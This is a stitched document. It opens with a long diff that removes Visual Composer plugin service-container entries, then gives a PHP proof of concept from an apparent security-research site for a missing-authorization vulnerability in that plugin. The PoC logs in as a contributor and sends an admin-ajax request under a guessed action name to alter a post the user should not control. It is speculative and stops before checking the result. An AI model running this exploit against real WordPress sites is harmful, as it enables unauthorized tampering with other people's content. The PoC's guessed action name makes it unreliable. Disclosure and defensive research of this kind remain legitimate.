-    ),
-    'EditorsSettingsPageTemplatesVariablesController' =>
-    array (
-      'name' => 'EditorsSettingsPageTemplatesVariablesController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\PageTemplatesVariablesController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsSlugController' =>
-    array (
-      'name' => 'EditorsSettingsSlugController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\SlugController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsTitleController' =>
-    array (
-      'name' => 'EditorsSettingsTitleController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\TitleController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsWordPressSettingsAuthorController' =>
-    array (
-      'name' => 'EditorsSettingsWordPressSettingsAuthorController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\WordPressSettings\AuthorController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsWordPressSettingsCategoriesController' =>
-    array (
-      'name' => 'EditorsSettingsWordPressSettingsCategoriesController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\WordPressSettings\CategoriesController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsWordPressSettingsDiscussionController' =>
-    array (
-      'name' => 'EditorsSettingsWordPressSettingsDiscussionController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\WordPressSettings\DiscussionController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsWordPressSettingsExcerptController' =>
-    array (
-      'name' => 'EditorsSettingsWordPressSettingsExcerptController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\WordPressSettings\ExcerptController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsWordPressSettingsFeaturedImageController' =>
-    array (
-      'name' => 'EditorsSettingsWordPressSettingsFeaturedImageController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\WordPressSettings\FeaturedImageController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsWordPressSettingsParentPageController' =>
-    array (
-      'name' => 'EditorsSettingsWordPressSettingsParentPageController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\WordPressSettings\ParentPageController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsWordPressSettingsTagsController' =>
-    array (
-      'name' => 'EditorsSettingsWordPressSettingsTagsController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\WordPressSettings\TagsController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'UpdatesUpdatesController' =>
-    array (
-      'name' => 'UpdatesUpdatesController',
-      'abstract' => 'VisualComposer\Modules\Updates\UpdatesController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'LicenseActivationRedirectController' =>
-    array (
-      'name' => 'LicenseActivationRedirectController',
-      'abstract' => 'VisualComposer\Modules\License\ActivationRedirectController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'LicenseDeactivationController' =>
-    array (
-      'name' => 'LicenseDeactivationController',
-      'abstract' => 'VisualComposer\Modules\License\DeactivationController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'LicenseEditorVariablesController' =>
-    array (
-      'name' => 'LicenseEditorVariablesController',
-      'abstract' => 'VisualComposer\Modules\License\EditorVariablesController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'LicenseErrorReportingController' =>
-    array (
-      'name' => 'LicenseErrorReportingController',
-      'abstract' => 'VisualComposer\Modules\License\ErrorReportingController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'LicenseFeedbackController' =>
-    array (
-      'name' => 'LicenseFeedbackController',
-      'abstract' => 'VisualComposer\Modules\License\FeedbackController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'LicenseLicenseController' =>
-    array (
-      'name' => 'LicenseLicenseController',
-      'abstract' => 'VisualComposer\Modules\License\LicenseController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'LicenseUpdateVariablesController' =>
-    array (
-      'name' => 'LicenseUpdateVariablesController',
-      'abstract' => 'VisualComposer\Modules\License\UpdateVariablesController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'LicensePagesGettingStarted' =>
-    array (
-      'name' => 'LicensePagesGettingStarted',
-      'abstract' => 'VisualComposer\Modules\License\Pages\GettingStarted',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'LicensePagesGoPremium' =>
-    array (
-      'name' => 'LicensePagesGoPremium',
-      'abstract' => 'VisualComposer\Modules\License\Pages\GoPremium',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'LicensePagesLicenseStatus' =>
-    array (
-      'name' => 'LicensePagesLicenseStatus',
-      'abstract' => 'VisualComposer\Modules\License\Pages\LicenseStatus',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubDownloadController' =>
-    array (
-      'name' => 'HubDownloadController',
-      'abstract' => 'VisualComposer\Modules\Hub\DownloadController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubJsonActionsController' =>
-    array (
-      'name' => 'HubJsonActionsController',
-      'abstract' => 'VisualComposer\Modules\Hub\JsonActionsController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubUpdateController' =>
-    array (
-      'name' => 'HubUpdateController',
-      'abstract' => 'VisualComposer\Modules\Hub\UpdateController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubAssetsAssetDownloadController' =>
-    array (
-      'name' => 'HubAssetsAssetDownloadController',
-      'abstract' => 'VisualComposer\Modules\Hub\Assets\AssetDownloadController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubStockMediaStockMediaDownloadController' =>
-    array (
-      'name' => 'HubStockMediaStockMediaDownloadController',
-      'abstract' => 'VisualComposer\Modules\Hub\StockMedia\StockMediaDownloadController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubActionsPostUpdateAction' =>
-    array (
-      'name' => 'HubActionsPostUpdateAction',
-      'abstract' => 'VisualComposer\Modules\Hub\Actions\PostUpdateAction',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubTemplatesTemplateDownloadController' =>
-    array (
-      'name' => 'HubTemplatesTemplateDownloadController',
-      'abstract' => 'VisualComposer\Modules\Hub\Templates\TemplateDownloadController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubTemplatesTemplatesUpdater' =>
-    array (
-      'name' => 'HubTemplatesTemplatesUpdater',
-      'abstract' => 'VisualComposer\Modules\Hub\Templates\TemplatesUpdater',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubTemplatesTeasersTeasersController' =>
-    array (
-      'name' => 'HubTemplatesTeasersTeasersController',
-      'abstract' => 'VisualComposer\Modules\Hub\Templates\Teasers\TeasersController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubTemplatesTeasersTeasersDownloadController' =>
-    array (
-      'name' => 'HubTemplatesTeasersTeasersDownloadController',
-      'abstract' => 'VisualComposer\Modules\Hub\Templates\Teasers\TeasersDownloadController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubElementsElementDownloadController' =>
-    array (
-      'name' => 'HubElementsElementDownloadController',
-      'abstract' => 'VisualComposer\Modules\Hub\Elements\ElementDownloadController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubElementsElements' =>
-    array (
-      'name' => 'HubElementsElements',
-      'abstract' => 'VisualComposer\Modules\Hub\Elements\Elements',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubElementsElementsUpdater' =>
-    array (
-      'name' => 'HubElementsElementsUpdater',
-      'abstract' => 'VisualComposer\Modules\Hub\Elements\ElementsUpdater',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubElementsTeasersTeasersController' =>
-    array (
-      'name' => 'HubElementsTeasersTeasersController',
-      'abstract' => 'VisualComposer\Modules\Hub\Elements\Teasers\TeasersController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubElementsTeasersTeasersDownloadController' =>
-    array (
-      'name' => 'HubElementsTeasersTeasersDownloadController',
-      'abstract' => 'VisualComposer\Modules\Hub\Elements\Teasers\TeasersDownloadController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubAddonsAddonDownloadController' =>
-    array (
-      'name' => 'HubAddonsAddonDownloadController',
-      'abstract' => 'VisualComposer\Modules\Hub\Addons\AddonDownloadController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubAddonsAddons' =>
-    array (
-      'name' => 'HubAddonsAddons',
-      'abstract' => 'VisualComposer\Modules\Hub\Addons\Addons',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubAddonsAddonsUpdater' =>
-    array (
-      'name' => 'HubAddonsAddonsUpdater',
-      'abstract' => 'VisualComposer\Modules\Hub\Addons\AddonsUpdater',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubAddonsTeasersTeasersController' =>
-    array (
-      'name' => 'HubAddonsTeasersTeasersController',
-      'abstract' => 'VisualComposer\Modules\Hub\Addons\Teasers\TeasersController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubAddonsTeasersTeasersDownloadController' =>
-    array (
-      'name' => 'HubAddonsTeasersTeasersDownloadController',
-      'abstract' => 'VisualComposer\Modules\Hub\Addons\Teasers\TeasersDownloadController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubGroupsCategoriesCategories' =>
-    array (
-      'name' => 'HubGroupsCategoriesCategories',
-      'abstract' => 'VisualComposer\Modules\Hub\GroupsCategories\Categories',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubGroupsCategoriesCategoriesUpdater' =>
-    array (
-      'name' => 'HubGroupsCategoriesCategoriesUpdater',
-      'abstract' => 'VisualComposer\Modules\Hub\GroupsCategories\CategoriesUpdater',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubGroupsCategoriesGroups' =>
-    array (
-      'name' => 'HubGroupsCategoriesGroups',
-      'abstract' => 'VisualComposer\Modules\Hub\GroupsCategories\Groups',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubGroupsCategoriesGroupsUpdater' =>
-    array (
-      'name' => 'HubGroupsCategoriesGroupsUpdater',
-      'abstract' => 'VisualComposer\Modules\Hub\GroupsCategories\GroupsUpdater',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubPagesHub' =>
-    array (
-      'name' => 'HubPagesHub',
-      'abstract' => 'VisualComposer\Modules\Hub\Pages\Hub',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubPagesPremiumTeasers' =>
-    array (
-      'name' => 'HubPagesPremiumTeasers',
-      'abstract' => 'VisualComposer\Modules\Hub\Pages\PremiumTeasers',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubPagesUpdateBePage' =>
-    array (
-      'name' => 'HubPagesUpdateBePage',
-      'abstract' => 'VisualComposer\Modules\Hub\Pages\UpdateBePage',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'HubPagesUpdateFePage' =>
-    array (
-      'name' => 'HubPagesUpdateFePage',
-      'abstract' => 'VisualComposer\Modules\Hub\Pages\UpdateFePage',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'ApiFactory' =>
-    array (
-      'name' => 'ApiFactory',
-      'abstract' => 'VisualComposer\Modules\Api\Factory',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AutoloadAddonsAutoload' =>
-    array (
-      'name' => 'AutoloadAddonsAutoload',
-      'abstract' => 'VisualComposer\Modules\Autoload\AddonsAutoload',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AutoloadElementsAutoload' =>
-    array (
-      'name' => 'AutoloadElementsAutoload',
-      'abstract' => 'VisualComposer\Modules\Autoload\ElementsAutoload',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'InternationalizationLocale' =>
-    array (
-      'name' => 'InternationalizationLocale',
-      'abstract' => 'VisualComposer\Modules\Internationalization\Locale',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'FrontViewAssetResetController' =>
-    array (
-      'name' => 'FrontViewAssetResetController',
-      'abstract' => 'VisualComposer\Modules\FrontView\AssetResetController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'FrontViewAssetUrlReplaceController' =>
-    array (
-      'name' => 'FrontViewAssetUrlReplaceController',
-      'abstract' => 'VisualComposer\Modules\FrontView\AssetUrlReplaceController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'FrontViewContentUrlReplaceController' =>
-    array (
-      'name' => 'FrontViewContentUrlReplaceController',
-      'abstract' => 'VisualComposer\Modules\FrontView\ContentUrlReplaceController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'FrontViewFrontVariablesController' =>
-    array (
-      'name' => 'FrontViewFrontVariablesController',
-      'abstract' => 'VisualComposer\Modules\FrontView\FrontVariablesController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'FrontViewFrontViewController' =>
-    array (
-      'name' => 'FrontViewFrontViewController',
-      'abstract' => 'VisualComposer\Modules\FrontView\FrontViewController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'FrontViewLazyLoadController' =>
-    array (
-      'name' => 'FrontViewLazyLoadController',
-      'abstract' => 'VisualComposer\Modules\FrontView\LazyLoadController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'FrontViewMaintenanceModeController' =>
-    array (
-      'name' => 'FrontViewMaintenanceModeController',
-      'abstract' => 'VisualComposer\Modules\FrontView\MaintenanceModeController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'FrontViewPluginsInfoController' =>
-    array (
-      'name' => 'FrontViewPluginsInfoController',
-      'abstract' => 'VisualComposer\Modules\FrontView\PluginsInfoController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'ElementsApiController' =>
-    array (
-      'name' => 'ElementsApiController',
-      'abstract' => 'VisualComposer\Modules\Elements\ApiController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'ElementsController' =>
-    array (
-      'name' => 'ElementsController',
-      'abstract' => 'VisualComposer\Modules\Elements\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'ElementsViewPageRender' =>
-    array (
-      'name' => 'ElementsViewPageRender',
-      'abstract' => 'VisualComposer\Modules\Elements\ViewPageRender',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'ElementsGlobalVariablesController' =>
-    array (
-      'name' => 'ElementsGlobalVariablesController',
-      'abstract' => 'VisualComposer\Modules\Elements\GlobalVariables\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'ElementsAssetShortcodeController' =>
-    array (
-      'name' => 'ElementsAssetShortcodeController',
-      'abstract' => 'VisualComposer\Modules\Elements\AssetShortcode\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'ElementsWpWidgetsWpWidgetsController' =>
-    array (
-      'name' => 'ElementsWpWidgetsWpWidgetsController',
-      'abstract' => 'VisualComposer\Modules\Elements\WpWidgets\WpWidgetsController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'ElementsWpWidgetsWpWidgetsShortcodes' =>
-    array (
-      'name' => 'ElementsWpWidgetsWpWidgetsShortcodes',
-      'abstract' => 'VisualComposer\Modules\Elements\WpWidgets\WpWidgetsShortcodes',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'ElementsAjaxShortcodeController' =>
-    array (
-      'name' => 'ElementsAjaxShortcodeController',
-      'abstract' => 'VisualComposer\Modules\Elements\AjaxShortcode\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'ElementsAjaxImageControllerController' =>
-    array (
-      'name' => 'ElementsAjaxImageControllerController',
-      'abstract' => 'VisualComposer\Modules\Elements\AjaxImageController\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'ElementsEncodedShortcodeController' =>
-    array (
-      'name' => 'ElementsEncodedShortcodeController',
-      'abstract' => 'VisualComposer\Modules\Elements\EncodedShortcode\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsDashboardController' =>
-    array (
-      'name' => 'VendorsDashboardController',
-      'abstract' => 'VisualComposer\Modules\Vendors\DashboardController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsController' =>
-    array (
-      'name' => 'VendorsPluginsController',
-      'abstract' => 'VisualComposer\Modules\Vendors\PluginsController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsWordPressController' =>
-    array (
-      'name' => 'VendorsWordPressController',
-      'abstract' => 'VisualComposer\Modules\Vendors\WordPressController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsAdvancedCustomFieldsController' =>
-    array (
-      'name' => 'VendorsPluginsAdvancedCustomFieldsController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\AdvancedCustomFieldsController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsAjaxSearchProController' =>
-    array (
-      'name' => 'VendorsPluginsAjaxSearchProController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\AjaxSearchProController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsEasyTableOfContent' =>
-    array (
-      'name' => 'VendorsPluginsEasyTableOfContent',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\EasyTableOfContent',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsElementorController' =>
-    array (
-      'name' => 'VendorsPluginsElementorController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\ElementorController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsEssentialGridController' =>
-    array (
-      'name' => 'VendorsPluginsEssentialGridController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\EssentialGridController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsGravityFormsController' =>
-    array (
-      'name' => 'VendorsPluginsGravityFormsController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\GravityFormsController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsJetPackController' =>
-    array (
-      'name' => 'VendorsPluginsJetPackController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\JetPackController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsMetaSliderController' =>
-    array (
-      'name' => 'VendorsPluginsMetaSliderController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\MetaSliderController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsNextGenController' =>
-    array (
-      'name' => 'VendorsPluginsNextGenController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\NextGenController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsNinjaFormsController' =>
-    array (
-      'name' => 'VendorsPluginsNinjaFormsController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\NinjaFormsController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsOneClickDemoImportController' =>
-    array (
-      'name' => 'VendorsPluginsOneClickDemoImportController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\OneClickDemoImportController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsRevSliderController' =>
-    array (
-      'name' => 'VendorsPluginsRevSliderController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\RevSliderController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsWooCommerceController' =>
-    array (
-      'name' => 'VendorsPluginsWooCommerceController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\WooCommerceController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsWooCommerceMultivendorMarketplaceController' =>
-    array (
-      'name' => 'VendorsPluginsWooCommerceMultivendorMarketplaceController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\WooCommerceMultivendorMarketplaceController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsWooCommerceSquareController' =>
-    array (
-      'name' => 'VendorsPluginsWooCommerceSquareController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\WooCommerceSquareController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsWooCommerceStripeController' =>
-    array (
-      'name' => 'VendorsPluginsWooCommerceStripeController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\WooCommerceStripeController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsWpFormsController' =>
-    array (
-      'name' => 'VendorsPluginsWpFormsController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\WpFormsController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsWpJobsManagerController' =>
-    array (
-      'name' => 'VendorsPluginsWpJobsManagerController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\WpJobsManagerController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsWpmlController' =>
-    array (
-      'name' => 'VendorsPluginsWpmlController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\WpmlController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsPluginsYoastController' =>
-    array (
-      'name' => 'VendorsPluginsYoastController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Plugins\YoastController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsGutenbergAttributeController' =>
-    array (
-      'name' => 'VendorsGutenbergAttributeController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Gutenberg\AttributeController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsGutenbergDisableController' =>
-    array (
-      'name' => 'VendorsGutenbergDisableController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Gutenberg\DisableController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsGutenbergSettingsController' =>
-    array (
-      'name' => 'VendorsGutenbergSettingsController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Gutenberg\SettingsController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsThemesGeneratePressController' =>
-    array (
-      'name' => 'VendorsThemesGeneratePressController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Themes\GeneratePressController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsThemesStorefrontController' =>
-    array (
-      'name' => 'VendorsThemesStorefrontController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Themes\StorefrontController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsThemesTwentySeventeenController' =>
-    array (
-      'name' => 'VendorsThemesTwentySeventeenController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Themes\TwentySeventeenController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsThemesTwentyTwentyOneController' =>
-    array (
-      'name' => 'VendorsThemesTwentyTwentyOneController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Themes\TwentyTwentyOneController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'VendorsThemesWeaverXtremeController' =>
-    array (
-      'name' => 'VendorsThemesWeaverXtremeController',
-      'abstract' => 'VisualComposer\Modules\Vendors\Themes\WeaverXtremeController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'UtmUtm' =>
-    array (
-      'name' => 'UtmUtm',
-      'abstract' => 'VisualComposer\Modules\Utm\Utm',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'ImportImportController' =>
-    array (
-      'name' => 'ImportImportController',
-      'abstract' => 'VisualComposer\Modules\Import\ImportController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SystemTextDomainController' =>
-    array (
-      'name' => 'SystemTextDomainController',
-      'abstract' => 'VisualComposer\Modules\System\TextDomain\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SystemCacheCacheController' =>
-    array (
-      'name' => 'SystemCacheCacheController',
-      'abstract' => 'VisualComposer\Modules\System\Cache\CacheController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SystemAjaxAdminController' =>
-    array (
-      'name' => 'SystemAjaxAdminController',
-      'abstract' => 'VisualComposer\Modules\System\Ajax\AdminController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SystemAjaxController' =>
-    array (
-      'name' => 'SystemAjaxController',
-      'abstract' => 'VisualComposer\Modules\System\Ajax\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SystemActivationController' =>
-    array (
-      'name' => 'SystemActivationController',
-      'abstract' => 'VisualComposer\Modules\System\Activation\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SettingsCustomPostTypesController' =>
-    array (
-      'name' => 'SettingsCustomPostTypesController',
-      'abstract' => 'VisualComposer\Modules\Settings\CustomPostTypesController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SettingsMenuController' =>
-    array (
-      'name' => 'SettingsMenuController',
-      'abstract' => 'VisualComposer\Modules\Settings\MenuController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SettingsNoticeController' =>
-    array (
-      'name' => 'SettingsNoticeController',
-      'abstract' => 'VisualComposer\Modules\Settings\NoticeController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SettingsSettingsController' =>
-    array (
-      'name' => 'SettingsSettingsController',
-      'abstract' => 'VisualComposer\Modules\Settings\SettingsController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SettingsFieldsCssEditor' =>
-    array (
-      'name' => 'SettingsFieldsCssEditor',
-      'abstract' => 'VisualComposer\Modules\Settings\Fields\CssEditor',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SettingsFieldsFactoryResetController' =>
-    array (
-      'name' => 'SettingsFieldsFactoryResetController',
-      'abstract' => 'VisualComposer\Modules\Settings\Fields\FactoryResetController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SettingsFieldsJsEditor' =>
-    array (
-      'name' => 'SettingsFieldsJsEditor',
-      'abstract' => 'VisualComposer\Modules\Settings\Fields\JsEditor',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SettingsAjaxSystemStatusController' =>
-    array (
-      'name' => 'SettingsAjaxSystemStatusController',
-      'abstract' => 'VisualComposer\Modules\Settings\Ajax\SystemStatusController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SettingsPagesCssJsSettings' =>
-    array (
-      'name' => 'SettingsPagesCssJsSettings',
-      'abstract' => 'VisualComposer\Modules\Settings\Pages\CssJsSettings',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SettingsPagesMaintenanceMode' =>
-    array (
-      'name' => 'SettingsPagesMaintenanceMode',
-      'abstract' => 'VisualComposer\Modules\Settings\Pages\MaintenanceMode',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'SettingsPagesRoleManager' =>
-    array (
-      'name' => 'SettingsPagesRoleManage

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65568 - Visual Composer Website Builder <= 45.15.0 - Missing Authorization

// Set target URL (WordPress site) and nonce/logged-in cookie for a contributor user.
$target_url = 'http://localhost/wordpress'; // CHANGE THIS

// 1. Authenticate as a contributor (or use a logged-in cookie).
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => 'contributor',      // CHANGE THIS: username
    'pwd' => 'password',         // CHANGE THIS: password
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$cookie_file = tempnam(sys_get_temp_dir(), 'cookie');

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// 2. Trigger the vulnerable AJAX action (action name is likely related to post data handling).
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// The AJAX action name is unknown from the diff, but examples include vcv-data-ajax-post-fields, etc.
$vulnerable_action = 'vcv-data-ajax-post-fields'; // Hypothesis: This is the action without a capability check
$post_id = 1; // Modify this to an existing post ID that should not be accessible to the contributor.

$post_data = array(
    'action' => $vulnerable_action,
    'post_id' => $post_id,
    'vcv-post-fields' => array(
        'title' => 'Unauthorized Modification',
        'content' => 'This should not be possible for a contributor.'
    )
);

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

unlink($cookie_file);

